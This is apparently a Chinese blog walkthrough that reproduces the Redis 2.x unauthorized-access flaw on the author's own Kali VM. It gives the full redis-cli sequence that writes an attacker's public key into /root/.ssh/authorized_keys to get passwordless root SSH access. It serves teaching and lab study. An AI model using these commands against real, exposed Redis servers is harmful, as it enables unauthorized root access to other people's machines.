导读

开发环境

版本号 描述
操作系统 Win11-21H2 内部版本号22000.588
kali kali-linux-2022.3-live-amd64.iso
redis-server(目标机器) redis-2.8.17.tar.gz https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf
redis-cli(攻击机器) Redis-x64-5.0.14.zip https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8

准备工作

虚拟机搭建(目标机kali)

下载iso文件:
|

|
这里选择Live Boot模式的iso,不用安装就可以直接体验kali。
|

虚拟机安装
|





修改虚拟机配置
|

启动虚拟机

查看并启动ssh服务
systemctl status ssh
systemctl start ssh

开启root账号

kali默认用户为kali,我们使用root账号进行实验,所以需要设置root账号的密码(这里随便设置个密码就行)。

执行命令sudo passwd root

生成公钥和私钥(攻击机win11)

windows自带了ssh应用,如下图:

通过ssh-keygen命令生成公钥私钥

手动实现ssh免密登录

将公钥拷贝到目标机器(kali)

  • 在win11上拷贝一份公钥,名称命名为authorized_keys

  • 管理员权限创建目录/root/.ssh

  • 以root权限打开资源管理器

  • 通过右键菜单拷贝文件到目录/root/.ssh

攻击机(win11)上连接目标机(kali)

  • 查看目标机器ip

  • 连接目标机:ssh -i C:/Users/Administrator/.ssh/id_rsa root@192.168.128.129

攻击原理分析

从上一步中(手动实现ssh免密登录),我们可以看出来,我们只需要将公钥id_rsa.pub重命名为authorized_keys,然后拷贝到目标机器/root/.ssh目录下就可以实现未授权访问Redis了。
redis刚好能满足我们的需求,2.x版本的redis,默认配置,能被外网访问,并完成上面的操作,我们正是利用这个特性,完成ssh未授权访问

攻击机(win11)上连接目标机(kali)

攻击实战

删除文件authorized_keys,准备模拟攻击

  • 删除文件authorized_keys,再次连接目标机,如下所示(要求输入密码才能登录):

目标机器的redis-server安装和配置

下载redis-server(目标机器,kali):https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf

redis-2.8.17.tar.gz拷贝到/root目录下。

解压并安装redis-server

mkdir /usr/local/redis
tar -zxvf redis-2.8.17.tar.gz
cd redis-2.8.17
make PREFIX=/usr/local/redis install

运行redis-server

/usr/local/redis/bin/redis-server  redis.conf

攻击机器redis-cli安装和配置

下载redis-cli(攻击机器,win11):https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8

解压Redis-x64-5.0.14.zip,redis-cli连接目标机器:

通过redis-cli,在目标机器中写入配置文件:

# 将公钥保存到内存中,添加回车换行符`\n`到公钥的前后。
set key "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/SQUPXaHJ7m2PANHUGcvIZ5wdEjy6wuEeQI2etYIeod3iE6udtxQtbOR1H3BsS9pozAX974w2+QLT1DrjF7V6zX8YEFHHG1JDhIyyNwf7OSstkcjSnlf8kmpQrGOwKkW78/yFRgoPOSfH2sONc0Ac2VzGEJFdU4tAYQMNUbpt+GhKezJjo+VG3wkhXlOXvgjqcyKN2Y9WuQ16bvrMrddQMzWoTzksxKBtoC/2ccLw6S9drnr/3xkKYUh8gzvcn2H/HR3hkA5rVZsfP/DrxuCN9jTVbjLmkTkXkrZN1qgQJX4rlQUjZM+/vu/c9dhNQ8iQAk69BjwqYDo2sO/UG7HYW/ao+l7FrvqbA0vNd56G6PJ6HH5rlIYV3awWGg8JtSMTbGmP91QfaN9pZ7AYyd+GSSnspbAjI2xRBnjxANJkEKBkLlvzieOzXwHhn76zJYpJFEvJcRYLJiv2a8SBBapO1tOfAIozGjQhV7ywREvssAkb8ggWWtloUutYjV61uzU= administrator@PC-202204131244\n\n"
# 设置备份目录
config set dir /root/.ssh/
# 设置备份文件名
config set dbfilename "authorized_keys"
# 备份文件
save

测试:ssh免密登录到靶机

  • 连接目标机:ssh -i C:/Users/Administrator/.ssh/id_rsa root@192.168.128.129

参考资料

  • kali官网下载地址 https://www.kali.org/get-kali/#kali-bare-metal
  • Redis未授权漏洞到shell利用过程 https://baijiahao.baidu.com/s?id=1728707427419719585&wfr=spider&for=pc

【网络安全】通过Redis2.x实现ssh未授权访问相关推荐

  1. Redis未授权访问漏洞(四)SSH key免密登录

    前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...

  2. redis未授权访问漏洞环境搭建复现-ssh免密登录

    首先,安装redis 我是直接sudo apt-get redis 安装的 然后启动redis 直接找到/usr/bin目录下的redis-server和redis-cli 测试连接成功 因为我是腾讯 ...

  3. redis 未授权访问详解

    一. 应用介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型. Key-Value数据库.和Memcached类似,它支持存储的value 类型相对更多,包括 ...

  4. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  5. Redis未授权访问漏洞复现与利用

    1.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果 ...

  6. Redis未授权访问攻击场景分析与防御

    主要从redis未授权访问入手,还原一些黑客的攻击场景,介绍一些常用的攻击方法和安全知识. 0x0 应用介绍 REmote DIctionary Server(Redis) 是一个由Salvatore ...

  7. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Red ...

  8. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  9. Redis 4.x/5.x未授权访问漏洞

    Redis是什么? Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的. Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:6379,如 ...

最新文章

  1. tidb mysql登录_TiDB 忘记密码如何登陆
  2. 【转】NG:垂枝桦基因组图谱构建(2+3组装)及重测序分析
  3. 计算机原理期中考试答案,微机原理与接口技术期中考试题(带答案)
  4. pat乙级相当于什么水平_林书豪在CBA相当于什么水平的外援?
  5. mysql getline_getMessage(),getFile,getLine获取异常用法
  6. 【华为云技术分享】网络场景AI模型训练效率实践
  7. [转]Best Practices for Speeding Up Your Web Site
  8. SQL ISNULL 函数
  9. 1405 mysql 2800_mysql关于任何用户登录以及解决ERROR1405
  10. mysql 5.7.16 忘记root 密码 如何修改root密码
  11. vision画流程图的软件_程序流程图用什么软件画?
  12. WARNING: We noticed you're using the `useBuiltIns` option without declaring a core-js version.
  13. 【3分钟高效制作PPT】ChatGPT搭配闪击PPT生成PPT,你只需要输入一个标题
  14. 计算机会计技术特点,会计电算化系统的特点
  15. 【技术分享】IS-IS 概述
  16. 【智能路由器】离线缓存投毒实现分析
  17. 【软件分享】免费多线程下载神器,可完全替代IDM(支持MacWindows)
  18. C语言基础指针知识点总结
  19. 机器学习----纯手撸线性回归代码
  20. 分享一张JavaScript正则表达式脑图和来自MDN的正则特殊字符说明

热门文章

  1. [Codis] Codis3部署流程
  2. 计算机网络--网络层[微课堂]
  3. 微信小程序 ios 橡皮筋效果踩坑
  4. mysql修改列名为主键_mysql怎么修改列名为主键?
  5. MySQL中如何修改全部由数字组成的列名
  6. freenas 当网站服务器,如何配置安装FreeNAS服务器
  7. Irvine32.inc
  8. HTML表格边框个人总结
  9. mx3 android6,魅族Flyme6全面推送!网友升级后傻了:竟还是安卓5.1
  10. 解决方案PPT的编写框架